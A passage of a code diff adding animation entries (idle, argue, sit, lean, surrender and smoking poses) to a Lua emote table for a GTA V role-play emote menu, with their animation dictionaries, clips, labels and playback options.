"Idle 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["idle3"] = { + "anim@heists@humane_labs@finale@strip_club", + "ped_b_celebrate_loop", + "Idle 3", + AnimationOptions = { + EmoteLoop = true + } + }, + ["idle4"] = { + "anim@mp_celebration@idles@female", + "celebration_idle_f_a", + "Idle 4", + AnimationOptions = { + EmoteLoop = true + } + }, + ["idle5"] = { + "anim@mp_corona_idles@female_b@idle_a", + "idle_a", + "Idle 5", + AnimationOptions = { + EmoteLoop = true + } + }, + ["idle6"] = { + "anim@mp_corona_idles@male_c@idle_a", + "idle_a", + "Idle 6", + AnimationOptions = { + EmoteLoop = true + } + }, + ["idle7"] = { + "anim@mp_corona_idles@male_d@idle_a", + "idle_a", + "Idle 7", + AnimationOptions = { + EmoteLoop = true + } + }, + ["idledrunk"] = { + "random@drunk_driver_1", + "drunk_driver_stand_loop_dd1", + "Idle Drunk", + AnimationOptions = { + EmoteLoop = true + } + }, + ["idledrunk2"] = { + "random@drunk_driver_1", + "drunk_driver_stand_loop_dd2", + "Idle Drunk 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["idledrunk3"] = { + "missarmenian2", + "standing_idle_loop_drunk", + "Idle Drunk 3", + AnimationOptions = { + EmoteLoop = true + } + }, + ["airguitar"] = { + "anim@mp_player_intcelebrationfemale@air_guitar", + "air_guitar", + "Air Guitar" + }, + ["airsynth"] = { + "anim@mp_player_intcelebrationfemale@air_synth", + "air_synth", + "Air Synth" + }, + ["argue"] = { + "misscarsteal4@actor", + "actor_berating_loop", + "Argue", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["argue2"] = { + "oddjobs@assassinate@vice@hooker", + "argue_a", + "Argue 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["argue3"] = { + "missheistdockssetup1leadinoutig_1", + "lsdh_ig_1_argue_wade", + "Argue 3", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["argue4"] = { + "car_2_mcs_1-6", + "cs_devin_dual-6", + "Argue 4", + AnimationOptions = { + EmoteDuration = 6000, + EmoteMoving = true + } + }, + ["argue5"] = { + "anim@amb@casino@brawl@fights@argue@", + "arguement_loop_mp_m_brawler_01", + "Argue Angry 1", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["argue6"] = { + "anim@amb@casino@brawl@fights@argue@", + "arguement_loop_mp_m_brawler_02", + "Argue Angry 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["bartender"] = { + "anim@amb@clubhouse@bar@drink@idle_a", + "idle_a_bartender", + "Bartender", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["blowkiss"] = { + "anim@mp_player_intcelebrationfemale@blow_kiss", + "blow_kiss", + "Blow Kiss" + }, + ["blowkiss2"] = { + "anim@mp_player_intselfieblow_kiss", + "exit", + "Blow Kiss 2", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 2000 + } + }, + ["curtsy"] = { + "anim@mp_player_intcelebrationpaired@f_f_sarcastic", + "sarcastic_left", + "Curtsy" + }, + ["bringiton"] = { + "misscommon@response", + "bring_it_on", + "Bring It On", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 3000 + } + }, + ["comeatmebro"] = { + "mini@triathlon", + "want_some_of_this", + "Come at me bro", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 2000 + } + }, + ["cop2"] = { + "anim@amb@nightclub@peds@", + "rcmme_amanda1_stand_loop_cop", + "Cop 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["cop3"] = { + "amb@code_human_police_investigate@idle_a", + "idle_b", + "Cop 3", + AnimationOptions = { + EmoteLoop = true + } + }, + ["crossarms"] = { + "amb@world_human_hang_out_street@female_arms_crossed@idle_a", + "idle_a", + "Crossarms", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["crossarms2"] = { + "amb@world_human_hang_out_street@male_c@idle_a", + "idle_b", + "Crossarms 2", + AnimationOptions = { + EmoteMoving = true + } + }, + ["crossarms3"] = { + "anim@heists@heist_corona@single_team", + "single_team_loop_boss", + "Crossarms 3", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["crossarms4"] = { + "random@street_race", + "_car_b_lookout", + "Crossarms 4", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["crossarms5"] = { + "anim@amb@nightclub@peds@", + "rcmme_amanda1_stand_loop_cop", + "Crossarms 5", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["foldarms2"] = { + "anim@amb@nightclub@peds@", + "rcmme_amanda1_stand_loop_cop", + "Fold Arms 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["crossarms6"] = { + "random@shop_gunstore", + "_idle", + "Crossarms 6", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["foldarms"] = { + "anim@amb@business@bgen@bgen_no_work@", + "stand_phone_phoneputdown_idle_nowork", + "Fold Arms", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["crossarmsside"] = { + "rcmnigel1a_band_groupies", + "base_m2", + "Crossarms Side", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["damn"] = { + "gestures@m@standing@casual", + "gesture_damn", + "Damn", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 1000 + } + }, + ["damn2"] = { + "anim@am_hold_up@male", + "shoplift_mid", + "Damn 2", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 1000 + } + }, + ["pointdown"] = { + "gestures@f@standing@casual", + "gesture_hand_down", + "Point Down", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 1000 + } + }, + ["surrender"] = { + "random@arrests@busted", + "idle_a", + "Surrender", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "surrender_exit", + ExitEmoteType = "Exits" + } + }, + ["surrender2"] = { + "mp_bank_heist_1", + "f_cower_02", + "Surrender 2", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["surrender3"] = { + "mp_bank_heist_1", + "m_cower_01", + "Surrender 3", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["surrender4"] = { + "mp_bank_heist_1", + "m_cower_02", + "Surrender 4", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["surrender5"] = { + "random@arrests", + "kneeling_arrest_idle", + "Surrender 5", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "surrender_exit", + ExitEmoteType = "Exits" + } + }, + ["surrender6"] = { + "rcmbarry", + "m_cower_01", + "Surrender 6", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["facepalm2"] = { + "anim@mp_player_intcelebrationfemale@face_palm", + "face_palm", + "Facepalm 2", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 8000 + } + }, + ["facepalm"] = { + "random@car_thief@agitated@idle_a", + "agitated_idle_a", + "Facepalm", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 8000 + } + }, + ["facepalm3"] = { + "missminuteman_1ig_2", + "tasered_2", + "Facepalm 3", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 8000 + } + }, + ["facepalm4"] = { + "anim@mp_player_intupperface_palm", + "idle_a", + "Facepalm 4", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true + } + }, + ["fallover"] = { + "random@drunk_driver_1", + "drunk_fall_over", + "Fall Over" + }, + ["fallover2"] = { + "mp_suicide", + "pistol", + "Fall Over 2" + }, + ["fallover3"] = { + "mp_suicide", + "pill", + "Fall Over 3" + }, + ["fallover4"] = { + "friends@frf@ig_2", + "knockout_plyr", + "Fall Over 4" + }, + ["fallover5"] = { + "anim@gangops@hostage@", + "victim_fail", + "Fall Over 5" + }, + ["fallasleep"] = { + "mp_sleep", + "sleep_loop", + "Fall Asleep", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true + } + }, + ["fightme"] = { + "anim@deathmatch_intros@unarmed", + "intro_male_unarmed_c", + "Fight Me" + }, + ["fightme2"] = { + "anim@deathmatch_intros@unarmed", + "intro_male_unarmed_e", + "Fight Me 2" + }, + ["finger"] = { + "anim@mp_player_intselfiethe_bird", + "idle_a", + "Finger", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["finger2"] = { + "anim@mp_player_intupperfinger", + "idle_a_fp", + "Finger 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["handshake"] = { + "mp_ped_interaction", + "handshake_guy_a", + "Handshake", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 3000 + } + }, + ["handshake2"] = { + "mp_ped_interaction", + "handshake_guy_b", + "Handshake 2", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 3000 + } + }, + ["wait"] = { + "random@shop_tattoo", + "_idle_a", + "Wait", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["wait2"] = { + "missbigscore2aig_3", + "wait_for_van_c", + "Wait 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["wait3"] = { + "amb@world_human_hang_out_street@female_hold_arm@idle_a", + "idle_a", + "Wait 3", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["wait4"] = { + "amb@world_human_hang_out_street@Female_arm_side@idle_a", + "idle_a", + "Wait 4", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["wait5"] = { + "missclothing", + "idle_storeclerk", + "Wait 5", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["wait6"] = { + "timetable@amanda@ig_2", + "ig_2_base_amanda", + "Wait 6", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["wait7"] = { + "rcmnigel1cnmt_1c", + "base", + "Wait 7", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["wait8"] = { + "rcmjosh1", + "idle", + "Wait 8", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["wait9"] = { + "rcmjosh2", + "josh_2_intp1_base", + "Wait 9", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["wait10"] = { + "timetable@amanda@ig_3", + "ig_3_base_tracy", + "Wait 10", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["wait11"] = { + "misshair_shop@hair_dressers", + "keeper_base", + "Wait 11", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["wait12"] = { + "rcmjosh1", + "keeper_base", + "Wait 12", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["wait13"] = { + "rcmnigel1a", + "base", + "Wait 13", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["hiking"] = { + "move_m@hiking", + "idle", + "Hiking", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["hugme"] = { + "mp_ped_interaction", + "kisses_guy_a", + "Hug Me" + }, + ["hugme2"] = { + "mp_ped_interaction", + "kisses_guy_b", + "Hug Me 2" + }, + ["inspect"] = { + "random@train_tracks", + "idle_e", + "Inspect" + }, + ["jazzhands"] = { + "anim@mp_player_intcelebrationfemale@jazz_hands", + "jazz_hands", + "Jazzhands", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 6000 + } + }, + ["jog2"] = { + "amb@world_human_jog_standing@male@idle_a", + "idle_a", + "Jog 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["jog3"] = { + "amb@world_human_jog_standing@female@idle_a", + "idle_a", + "Jog 3", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["jog4"] = { + "amb@world_human_power_walker@female@idle_a", + "idle_a", + "Jog 4", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["jog5"] = { + "move_m@joy@a", + "walk", + "Jog 5", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["jumpingjacks"] = { + "timetable@reunited@ig_2", + "jimmy_getknocked", + "Jumping Jacks", + AnimationOptions = { + EmoteLoop = true + } + }, + ["kneel2"] = { + "rcmextreme3", + "idle", + "Kneel 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["kneel3"] = { + "amb@world_human_bum_wash@male@low@idle_a", + "idle_a", + "Kneel 3", + AnimationOptions = { + EmoteLoop = true + } + }, + ["kneelthot"] = { + "anim@model_kylie_insta", + "kylie_insta_clip", + "Kneel Thot Instagram", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 200, + ExitEmote = "standup", + ExitEmoteType = "Exits" + } + }, + ["kneelbored"] = { --- Custom Emote By Chocoholic Animations + "chocoholic@duo17", + "duo17_clip", + "Kneel Bored Pose", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 200, + ExitEmote = "standup", + ExitEmoteType = "Exits" + } + }, + ["kneelpeace"] = { --- Custom Emote By Chocoholic Animations + "chocoholic@duo18", + "duo18_clip", + "Kneel Peace Sign Pose", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 200, + ExitEmote = "standup", + ExitEmoteType = "Exits" + } + }, + ["shoepose"] = { --- Custom Emote By Darks Animations + "male_duo_a@darksj", + "male_duo_a_clip", + "Shoe Kick Pose", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 240 + } + }, + ["rap"] = { --- Custom Emote By Darks Animations + "couple_singing_m@darks37", + "couple_singing_m_clip", + "Rap / Sing", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["squatgunpose"] = { --- Custom Emote By Darks Animations + "ganggirls_pose1@darks37", + "ganggirls_pose1_clip", + "Squat Gun Pose - Left", + AnimationOptions = { + EmoteLoop = true + } + }, + ["squatgunpose3"] = { --- Custom Emote By Darks Animations + "gun_prime_2@darksj", + "gun_prime_2_clip", + "Squat Gun Pose 3", + AnimationOptions = { + EmoteLoop = true + } + }, + ["knock"] = { + "timetable@jimmy@doorknock@", + "knockdoor_idle", + "Knock", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true + } + }, + ["knock2"] = { + "missheistfbi3b_ig7", + "lift_fibagent_loop", + "Knock 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["knucklecrunch"] = { + "anim@mp_player_intcelebrationfemale@knuckle_crunch", + "knuckle_crunch", + "Knuckle Crunch", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["lean2"] = { + "amb@world_human_leaning@female@wall@back@hand_up@idle_a", + "idle_a", + "Lean 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["lean3"] = { + "amb@world_human_leaning@female@wall@back@holding_elbow@idle_a", + "idle_a", + "Lean 3", + AnimationOptions = { + EmoteLoop = true + } + }, + ["lean4"] = { + "amb@world_human_leaning@male@wall@back@foot_up@idle_a", + "idle_a", + "Lean 4", + AnimationOptions = { + EmoteLoop = true + } + }, + ["lean5"] = { + "amb@world_human_leaning@male@wall@back@hands_together@idle_b", + "idle_e", + "Lean 5", + AnimationOptions = { + EmoteLoop = true + } + }, + ["leanflirt"] = { + "random@street_race", + "_car_a_flirt_girl", + "Lean Flirt", + AnimationOptions = { + EmoteLoop = true + } + }, + ["leanbar2"] = { + "amb@prop_human_bum_shopping_cart@male@idle_a", + "idle_c", + "Lean Bar 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["leanbar3"] = { + "anim@amb@nightclub@lazlow@ig1_vip@", + "clubvip_base_laz", + "Lean Bar 3", + AnimationOptions = { + EmoteLoop = true + } + }, + ["leanbar4"] = { + "anim@heists@prison_heist", + "ped_b_loop_a", + "Lean Bar 4", + AnimationOptions = { + EmoteLoop = true + } + }, + ["leanhigh"] = { + "anim@mp_ferris_wheel", + "idle_a_player_one", + "Lean High", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["leanhigh2"] = { + "anim@mp_ferris_wheel", + "idle_a_player_two", + "Lean High 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["leanside"] = { + "timetable@mime@01_gc", + "idle_a", + "Leanside", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["leanside2"] = { + "misscarstealfinale", + "packer_idle_1_trevor", + "Leanside 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["leanside3"] = { + "misscarstealfinalecar_5_ig_1", + "waitloop_lamar", + "Leanside 3", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["leanside4"] = { + "misscarstealfinalecar_5_ig_1", + "waitloop_lamar", + "Leanside 4", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["leanside5"] = { + "rcmjosh2", + "josh_2_intp1_base", + "Leanside 5", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["leanplan"] = { + "anim@amb@board_room@diagram_blueprints@", + "idle_01_amy_skater_01", + "Lean On Table", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 200, + ExitEmote = "offtable", + ExitEmoteType = "Exits" + } + }, + ["me"] = { + "gestures@f@standing@casual", + "gesture_me_hard", + "Me", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 1000 + } + }, + ["mechanic"] = { + "mini@repair", + "fixing_a_ped", + "Mechanic", + AnimationOptions = { + EmoteLoop = true + } + }, + ["mechanic2"] = { + "mini@repair", + "fixing_a_player", + "Mechanic 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["mechanic3"] = { + "amb@world_human_vehicle_mechanic@male@base", + "base", + "Mechanic 3", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["mechanic4"] = { + "anim@amb@clubhouse@tutorial@bkr_tut_ig3@", + "machinic_loop_mechandplayer", + "Mechanic 4", + AnimationOptions = { + EmoteLoop = true + } + }, + ["mechanic5"] = { + "amb@prop_human_movie_bulb@idle_a", + "idle_b", + "Mechanic 5", + AnimationOptions = { + EmoteLoop = true + } + }, + ["medic2"] = { + "amb@medic@standing@tendtodead@base", + "base", + "Medic 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["meditate"] = { + "rcmcollect_paperleadinout@", + "meditiate_idle", + "Meditate", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 300, + ExitEmote = "standup", + ExitEmoteType = "Exits" + } + }, + ["meditate2"] = { + "rcmepsilonism3", + "ep_3_rcm_marnie_meditating", + "Meditate 2", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 300, + ExitEmote = "standup", + ExitEmoteType = "Exits" + } + }, + ["meditate3"] = { + "rcmepsilonism3", + "base_loop", + "Meditate 3", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 300, + ExitEmote = "standup", + ExitEmoteType = "Exits" + } + }, + ["metal"] = { + "anim@mp_player_intincarrockstd@ps@", + "idle_a", + "Metal", + AnimationOptions = { + -- CHANGE ME + EmoteLoop = true, + EmoteMoving = true + } + }, + ["no"] = { + "anim@heists@ornate_bank@chat_manager", + "fail", + "No", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 4000 + } + }, + ["no2"] = { + "mp_player_int_upper_nod", + "mp_player_int_nod_no", + "No 2", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 1000 + } + }, + ["nosepick"] = { + "anim@mp_player_intcelebrationfemale@nose_pick", + "nose_pick", + "Nose Pick", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["noway"] = { + "gestures@m@standing@casual", + "gesture_no_way", + "No Way", + AnimationOptions = { + EmoteDuration = 1500, + EmoteMoving = true + } + }, + ["ok"] = { + "anim@mp_player_intselfiedock", + "idle_a", + "OK", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["dock"] = { + "anim@mp_player_intincardockstd@rds@", + "idle_a", + "Dock", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["outofbreath"] = { + "re@construction", + "out_of_breath", + "Out of Breath", + }, + ["pickup"] = { + "random@domestic", + "pickup_low", + "Pickup" + }, + ["push"] = { + "missfinale_c2ig_11", + "pushcar_offcliff_f", + "Push", + AnimationOptions = { + EmoteLoop = true + } + }, + ["push2"] = { + "missfinale_c2ig_11", + "pushcar_offcliff_m", + "Push 2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["point"] = { + "gestures@f@standing@casual", + "gesture_point", + "Point", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["pushup"] = { + "amb@world_human_push_ups@male@idle_a", + "idle_d", + "Pushup", + AnimationOptions = { + EmoteLoop = true + } + }, + ["countdown"] = { + "random@street_race", + "grid_girl_race_start", + "Countdown", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["pointright"] = { + "mp_gun_shop_tut", + "indicate_right", + "Point Right", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["salute"] = { + "anim@mp_player_intincarsalutestd@ds@", + "idle_a", + "Salute", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["salute2"] = { + "anim@mp_player_intincarsalutestd@ps@", + "idle_a", + "Salute 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["salute3"] = { + "anim@mp_player_intuppersalute", + "idle_a", + "Salute 3", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["scared"] = { + "random@domestic", + "f_distressed_loop", + "Scared", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["scared2"] = { + "random@homelandsecurity", + "knees_loop_girl", + "Scared 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["screwyou"] = { + "misscommon@response", + "screw_you", + "Screw You", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["shakeoff"] = { + "move_m@_idles@shake_off", + "shakeoff_1", + "Shake Off", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 3500 + } + }, + ["shot"] = { + "random@dealgonewrong", + "idle_a", + "Shot", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["sleep"] = { + "timetable@tracy@sleep@", + "base", + "Sleep", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 700, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["bumsleep"] = { + "amb@world_human_bum_slumped@male@laying_on_left_side@idle_a", + "idle_b", + "Bum Sleep", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 700, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["shrug"] = { + "gestures@f@standing@casual", + "gesture_shrug_hard", + "Shrug", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 1000 + } + }, + ["shrug2"] = { + "gestures@m@standing@casual", + "gesture_shrug_hard", + "Shrug 2", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 1000 + } + }, + ["sit"] = { + "anim@amb@business@bgen@bgen_no_work@", + "sit_phone_phoneputdown_idle_nowork", + "Sit", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["sit2"] = { + "rcm_barry3", + "barry_3_sit_loop", + "Sit 2", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["sit3"] = { + "amb@lo_res_idles@", + "world_human_picnic_male_lo_res_base", + "Sit 3", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["sit4"] = { + "amb@lo_res_idles@", + "world_human_picnic_female_lo_res_base", + "Sit 4", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["sit5"] = { + "anim@heists@fleeca_bank@ig_7_jetski_owner", + "owner_idle", + "Sit 5", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["sit6"] = { + "timetable@jimmy@mics3_ig_15@", + "idle_a_jimmy", + "Sit 6", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["sit7"] = { + "anim@amb@nightclub@lazlow@lo_alone@", + "lowalone_base_laz", + "Sit 7", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 900, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["sit8"] = { + "timetable@jimmy@mics3_ig_15@", + "mics3_15_base_jimmy", + "Sit 8", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["sit9"] = { + "amb@world_human_stupor@male@idle_a", + "idle_a", + "Sit 9", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["sitfu"] = { + "chocoholic@single80", + "single80_clip", + "Sit Middle Finger", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["elbow"] = { + "anim@veh@lowrider@std@ds@arm@base", + "sit_low_lowdoor", + "Window Elbow", + AnimationOptions = { + EmoteLoop = true + } + }, + ["elbow2"] = { -- Custom Emote By Chocoholic Animations + "chocoholic@single47", + "single47_clip", + "Window Elbow 2", + AnimationOptions = { + onlyInVehicle = true, + EmoteLoop = true + } + }, + ["sitlean"] = { + "timetable@tracy@ig_14@", + "ig_14_base_tracy", + "Sit Lean", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["sitsad"] = { + "anim@amb@business@bgen@bgen_no_work@", + "sit_phone_phoneputdown_sleeping-noworkfemale", + "Sit Sad", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["sitsad2"] = { + "anim@female_sit_01", + "f_sit_01_clip", + "Sit Sad 2", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["sitscared"] = { + "anim@heists@ornate_bank@hostages@hit", + "hit_loop_ped_b", + "Sit Scared", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["sitscared2"] = { + "anim@heists@ornate_bank@hostages@ped_c@", + "flinch_loop", + "Sit Scared 2", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["sitscared3"] = { + "anim@heists@ornate_bank@hostages@ped_e@", + "flinch_loop", + "Sit Scared 3", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["sitdrunk"] = { + "timetable@amanda@drunk@base", + "base", + "Sit Drunk", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["sitchair"] = { + "timetable@ron@ig_3_couch", + "base", + "Sit Chair", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "offchair", + ExitEmoteType = "Exits" + } + }, + ["sitchair2"] = { + "timetable@ron@ig_5_p3", + "ig_5_p3_base", + "Sit Chair 2", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "offchair", + ExitEmoteType = "Exits" + } + }, + ["sitchair3"] = { + "timetable@reunited@ig_10", + "base_amanda", + "Sit Chair 3 (Female)", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "offchair", + ExitEmoteType = "Exits" + } + }, + ["sitchair4"] = { + "timetable@ron@ron_ig_2_alt1", + "ig_2_alt1_base", + "Sit Chair 4 - Side", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "offchair", + ExitEmoteType = "Exits" + } + }, + ["sitchair5"] = { + "timetable@jimmy@mics3_ig_15@", + "mics3_15_base_tracy", + "Sit Chair Legs Crossed", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "offchair", + ExitEmoteType = "Exits" + } + }, + ["sitchair6"] = { + "timetable@maid@couch@", + "base", + "Sit Chair Lean Back", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "offchair", + ExitEmoteType = "Exits" + } + }, + ["sitcute"] = { -- Custom Emote By QueenSistersAnimations + "sitkylie@queensisters", + "kylie_clip", + "Sit Cute", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + ExitEmote = "offchair", + ExitEmoteType = "Exits" + } + }, + ["situp"] = { + "amb@world_human_sit_ups@male@idle_a", + "idle_a", + "Sit Up", + AnimationOptions = { + EmoteLoop = true + } + }, + ["smokengun"] = { + "smokingweapon@animation", + "smokingweapon_clip", + "Sitting Smoke & Gun", + AnimationOptions = { + Prop = "ng_proc_cigarette01a", + PropBone = 4185, + PropPlacement = { + 0.0300, + 0.0000, + 0.0200, + 1.7096, + -43.1362, + -27.9428 + }, + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits", + PtfxAsset = "scr_mp_cig", + PtfxName = "ent_anim_cig_smoke", + PtfxNoProp = false, + PtfxPlacement = { + -0.07, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('smoke'), + PtfxWait = 0.8, + PtfxCanHold = true + } + }, + ['smokendrink'] = { --- Custom Emote By Darks Animations + "drx@male_smoke", + "male_smoke", + "Smoke And Whiskey", + AnimationOptions = { + Prop = 'prop_drink_whisky', + PropBone = 26612, + PropPlacement = { + 0.0500, + -0.0700, + -0.0500, + 0.0, + 0.0, + 0.0 + }, + SecondProp = 'ng_proc_cigarette01a', + SecondPropBone 